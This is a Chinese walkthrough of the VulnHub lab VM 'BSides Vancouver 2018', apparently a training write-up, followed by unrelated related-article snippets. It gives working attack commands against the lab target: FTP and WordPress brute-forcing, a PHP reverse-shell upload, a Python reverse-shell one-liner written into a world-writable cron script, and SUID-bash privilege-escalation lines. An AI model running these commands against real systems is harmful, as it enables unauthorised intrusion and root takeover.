BSides Vancouver: 2018 (Workshop)

news2025/3/14 10:19:18

BSides Vancouver: 2018 (Workshop)

来自 <https://www.vulnhub.com/entry/bsides-vancouver-2018-workshop,231/>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.182,靶场IP192.168.23.199

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.199

服务器同时存在FTP,SSH,HTTP服务,分别进行信息收集

1. FTP 服务 (vsftpd 2.3.5)

  • 漏洞风险
    • 匿名登录:允许匿名访问(用户 ftp/空密码),存在信息泄露风险。
    • 版本检查:vsftpd 2.3.5 已修复著名的后门漏洞(CVE-2011-2523),但仍需验证是否存在其他漏洞。
  • 建议操作
    • 登录并检查 public 目录内容:
      ftp <IP>
      # 用户名:anonymous,密码:空或任意邮箱
      ls
      get <文件>  # 下载可疑文件
    • 检查是否有写入权限(尝试上传文件)。

2. SSH 服务 (OpenSSH 5.9p1)

  • 漏洞风险
    • 旧版本风险:可能受漏洞如 CVE-2016-0777(信息泄露)影响。
    • 弱密钥类型:DSA 1024位密钥强度不足,建议升级至 RSA 2048+ 或 ECDSA。
  • 建议操作
    • 扫描支持的加密算法:
      nmap --script ssh2-enum-algos <IP>
    • 避免使用不安全的算法(如 CBC 模式)。

3. HTTP 服务 (Apache 2.2.22)

  • 漏洞风险
    • Apache 漏洞:旧版本可能受拒绝服务(CVE-2011-3192)或目录遍历漏洞影响。
    • 敏感路径泄露:/backup_wordpress 可能存在备份文件(如 wp-config.php)。
  • 建议操作
    • 访问 http://<IP>/backup_wordpress/,检查是否存在:
      • WordPress 备份文件(.zip, .sql 等)。
      • 配置文件(含数据库凭据)。
    • 执行目录扫描:
      gobuster dir -u http://<IP>/ -w /path/to/wordlist.txt

4,尝试匿名登录ftp服务器

anonymous

查看目录 ls

发现public目录,进入pubilc目录 cd public

然后get下载这个txt文件 get user.txt.bk

5,访问一下80端口的网站

应该还需要扫出网站的子目录

扫描出来robots.txt,访问之

/backup_wordpress访问之

http://192.168.23.199/backup_wordpress/

dirsearch -u http://192.168.23.199/backup_wordpress -x 403,404,500

是存在登录页面的,推测ftp服务器泄露文件的用户名用于登录wordpress

6,还有方法就是使用hydra爆破ssh登录。这里使用wpscan扫描WordPress,暴破后台用户名:

wpscan --url http://192.168.23.199/backup_wordpress --enumerate u

爆破后台密码:

wpscan --url ' http://192.168.23.199/backup_wordpress/' --api-token 'API' -U wordpressusers.txt -P /usr/share/wordlists/rockyou.txt

爆破出账号密码john/enigma

成功登录

7,尝试修改404页面的内容,使用的脚本是kali自带的反弹shell木马

cp /usr/share/webshells/php/php-reverse-shell.php /root

http://192.168.23.199/backup_wordpress/wp-admin/theme-editor.php?file=404.php&theme=twentysixteen

 成功上传

8,在攻击机上开启nc对4444端口监听,

然后访问一个不存在的网页

http://192.168.23.199/backup_wordpress/wp-content/themes/twentysixteen/404.php

9,python脚本启动一个交互式shell

python -c 'import pty;pty.spawn("/bin/bash")'

信息收集发现用户

然后尝试ssh爆破出用户弱口令

hydra -l anne -P /usr/share/wordlists/rockyou.txt -t 4 ssh://192.168.23.199

第一种办法,服务器配置不当弱口令登录提权

10,ssh成功登录。账户/密码:anne/princess

anne@192.168.23.199

sudo -l发现所有命令都能够sudo权限,直接提权成为root

第二种办法,777权限文件反弹shell提权

1,查找具有777权限的文件

find / -type f -perm 0777 2>/dev/null

关键参数解析:

  • sudo
    以 root 权限执行,避免因目录不可读导致的遗漏(若以普通用户身份运行,可能漏掉大量文件)。
  • -perm 0777
    严格匹配权限为 777 的文件(八进制写法更规范)。
  • 2>/dev/null
    忽略所有错误(如权限拒绝、文件不存在等)。

与Linux 提权联系:

风险场景

权限为 777 的文件意味着任何用户均可读、写、执行,攻击者可能利用以下场景提权:

文件类型

提权利用方式

示例

可执行程序/脚本

替换文件内容,插入恶意代码(如反弹 Shell),等待高权限用户或服务调用。

/usr/local/bin/custom*

Cron Job 脚本

修改定时任务脚本,注入提权代码,利用 Cron 以 root 权限执行。

/etc/cron.daily/*

服务配置文件

修改服务配置文件,诱导服务重启后加载恶意模块或执行命令。

/etc/init.d/*.conf

日志/临时文件

写入恶意内容并配合符号链接、竞争条件等漏洞提权。

/var/log/*.log

SUID/SGID 文件

若权限为 777 且设置了 SUID,直接修改文件内容可获取 root 权限。

/usr/bin/old_tool

典型案例

  • Cron Job 提权
    若发现 /etc/cron.hourly/cleanup 权限为 777,攻击者可写入以下代码:
    chmod +s /bin/bash  # 赋予 Bash SUID 权限
    Cron 以 root 执行后,普通用户运行 /bin/bash -p 即可获得 root Shell。
  • SUID 滥用
    若某 SUID 程序权限为 777:
    echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' > /usr/bin/vulnerable
    /tmp/rootbash -p  # 启动后获得 root

2,再插入恶意提权代码

echo '#!/bin/sh python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.23.182",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'' > /usr/local/bin/cleanup

反弹shell成为root用户

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2314803.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

rStar论文精读

论文简介 论文标题&#xff1a;《Mutual reasoning makes smaller LLMs stronger problem-solvers》 论文地址&#xff1a;https://arxiv.org/abs/2408.06195 录用会议&#xff1a;ICLR2025 背景与挑战 挑战1&#xff1a;在SLM中平衡exploration与exploitation。一些方法有很…

247g 的工业级电调,如何让无人机飞得更 “聪明“?——STONE 200A-M 深度测评

一、轻量化设计背后的技术取舍 当拿到 STONE 200A-M 时&#xff0c;247g 的重量让人意外 —— 这个接近传统 200A 电调 70% 的重量&#xff0c;源自 1205624.5mm 的紧凑结构&#xff08;0.1mm 公差控制&#xff09;。实测装机显示&#xff0c;相比同规格产品&#xff0c;其体积…

Node.js:快速启动你的第一个Web服务器

Node.js 全面入门指南 文章目录 Node.js 全面入门指南一 安装Node.js1. Windows2. MacOS/Linux 二 配置开发环境1. VSCode集成 三 第一个Node.js程序1. 创建你的第一个Node.js程序 四 使用Express框架1. 快速搭建服务器 一 安装Node.js 1. Windows 以下是Windows环境下Node.j…

自定义日志回调函数实现第三方库日志集成:从理论到实战

一、应用场景与痛点分析 在开发过程中&#xff0c;我们经常会遇到以下场景&#xff1a; 日志格式统一&#xff1a;第三方库使用自己的日志格式&#xff0c;导致系统日志混杂&#xff0c;难以统一管理和分析。日志分级过滤&#xff1a;需要动态调整第三方库的日志输出级别&…

Linux练级宝典->任务管理和守护进程

任务管理 进程组概念 每个进程除了进程ID以外&#xff0c;还有一个进程组&#xff0c;进程组就是一个或多个进程的集合 同一个进程组&#xff0c;代表着他们是共同作业的&#xff0c;可以接收同一个终端的各种信号&#xff0c;进程组也有其唯一的进程组号。还有一个组长进程&a…

C语言:计算并输出三个整数的最大值 并对三个数排序

这是《C语言程序设计》73页的思考题。下面分享自己的思路和代码 思路&#xff1a; 代码&#xff1a; #include <stdio.h> int main() {int a,b,c,max,min,mid ; //设置大中小的数分别为max&#xff0c;mid&#xff0c;min&#xff0c;abc为输入的三个数printf("ple…

工具(十二):Java导出MySQL数据库表结构信息到excel

一、背景 遇到需求&#xff1a;将指定数据库表设计&#xff0c;统一导出到一个Excel中&#xff0c;存档查看。 如果一个一个弄&#xff0c;很复杂&#xff0c;耗时长。 二、写一个工具导出下 废话少絮&#xff0c;上码&#xff1a; 2.1 pom导入 <dependency><grou…

ACL初级总结

ACL–访问控制列表 1.访问控制 在路由器流量流入或者流出的接口上,匹配流量,然后执行相应动作 permit允许 deny拒绝 2.抓取感兴趣流 3.ACL匹配规则 自上而下逐一匹配,若匹配到了则按照对应规则执行动作,而不再向下继续匹配 思科:ACL列表末尾隐含一条拒绝所有的规则 华为:AC…

调优案例一:堆空间扩容提升吞吐量实战记录

&#x1f4dd; 调优案例一&#xff1a;堆空间扩容提升吞吐量实战记录 &#x1f527; 调优策略&#xff1a;堆空间扩容三部曲 # 原配置&#xff08;30MB堆空间&#xff09; export CATALINA_OPTS"$CATALINA_OPTS -Xms30m -Xmx30m"# 新配置&#xff08;扩容至120MB&am…

C语言 —— 此去经年梦浪荡魂音 - 深入理解指针(卷一)

目录 1. 内存和地址 2. 指针变量和地址 2.1 取地址操作符&#xff08;&&#xff09; 2.2 指针变量 2.3 解引用操作符 &#xff08;*&#xff09; 3. 指针的解引用 3.1 指针 - 整数 3.2 void* 指针 4. const修饰指针 4.1 const修饰变量 4.2 const修饰指针变量 5…

计算机毕业设计:留守儿童的可视化界面

留守儿童的可视化界面mysql数据库创建语句留守儿童的可视化界面oracle数据库创建语句留守儿童的可视化界面sqlserver数据库创建语句留守儿童的可视化界面springspringMVChibernate框架对象(javaBean,pojo)设计留守儿童的可视化界面springspringMVCmybatis框架对象(javaBean,poj…

golang算法二叉树对称平衡右视图

100. 相同的树 给你两棵二叉树的根节点 p 和 q &#xff0c;编写一个函数来检验这两棵树是否相同。 如果两个树在结构上相同&#xff0c;并且节点具有相同的值&#xff0c;则认为它们是相同的。 示例 1&#xff1a; 输入&#xff1a;p [1,2,3], q [1,2,3] 输出&#xff1a…

Chatbox通过百炼调用DeepSeek

解决方案链接&#xff1a;评测&#xff5c;零门槛&#xff0c;即刻拥有DeepSeek-R1满血版 方案概览 本方案以 DeepSeek-R1 满血版为例进行演示&#xff0c;通过百炼模型服务进行 DeepSeek 开源模型调用&#xff0c;可以根据实际需求选择其他参数规模的 DeepSeek 模型。百炼平台…

【数据结构】6栈

0 章节 3&#xff0e;1到3&#xff0e;3小节。 认知与理解栈结构&#xff1b; 列举栈的操作特点。 理解并列举栈的应用案例。 重点 栈的特点与实现&#xff1b; 难点 栈的灵活实现与应用 作业或思考题 完成学习测试&#xff12;&#xff0c;&#xff1f; 内容达成以下标准(考核…

PyTorch 入门学习

目录 PyTorch 定义 核心作用 应用场景 Pytorch 基本语法 1. 张量的创建 2. 张量的类型转换 3. 张量数值计算 4. 张量运算函数 5. 张量索引操作 6. 张量形状操作 7. 张量拼接操作 8. 自动微分模块 9. 案例-线性回归案例 PyTorch 定义 PyTorch 是一个基于 Python 深…

mov格式视频如何转换mp4?

mov格式视频如何转换mp4&#xff1f;在日常的视频处理中&#xff0c;经常需要将MOV格式的视频转换为MP4格式&#xff0c;以兼容更多的播放设备和平台。下面给大家分享如何将MOV视频转换为MP4&#xff0c;4款视频格式转换工具分享。 一、牛学长转码大师 牛学长转码大师是一款功…

二进制求和(js实现,LeetCode:67)

这道题我的解决思路是先将a和b的长度保持一致以方便后续按位加减 let lena a.length let lenb b.length if (lena ! lenb) {if (lena > lenb) {for (let i 0; i <lena-lenb; i) {b 0 b}} else {for (let i 0; i < lenb-lena; i) {a 0 a}} } 下一步直接进行按…

【C#】使用DeepSeek帮助评估数据库性能问题,C# 使用定时任务,每隔一分钟移除一次表,再重新创建表,和往新创建的表追加5万多条记录

&#x1f339;欢迎来到《小5讲堂》&#x1f339; &#x1f339;这是《C#》系列文章&#xff0c;每篇文章将以博主理解的角度展开讲解。&#x1f339; &#x1f339;温馨提示&#xff1a;博主能力有限&#xff0c;理解水平有限&#xff0c;若有不对之处望指正&#xff01;&#…

【openGauss】物理备份恢复

文章目录 1. gs_backup&#xff08;1&#xff09;备份&#xff08;2&#xff09;恢复&#xff08;3&#xff09;手动恢复的办法 2. gs_basebackup&#xff08;1&#xff09;备份&#xff08;2&#xff09;恢复① 伪造数据目录丢失② 恢复 3. gs_probackup&#xff08;1&#xf…

蓝桥杯备赛-基础练习 day1

1、闰年判断 问题描述 给定一个年份&#xff0c;判断这一年是不是闰年。 当以下情况之一满足时&#xff0c;这一年是闰年:1.年份是4的倍数而不是100的倍数 2&#xff0e;年份是400的倍数。 其他的年份都不是闰年。 输入格式 输入包含一个…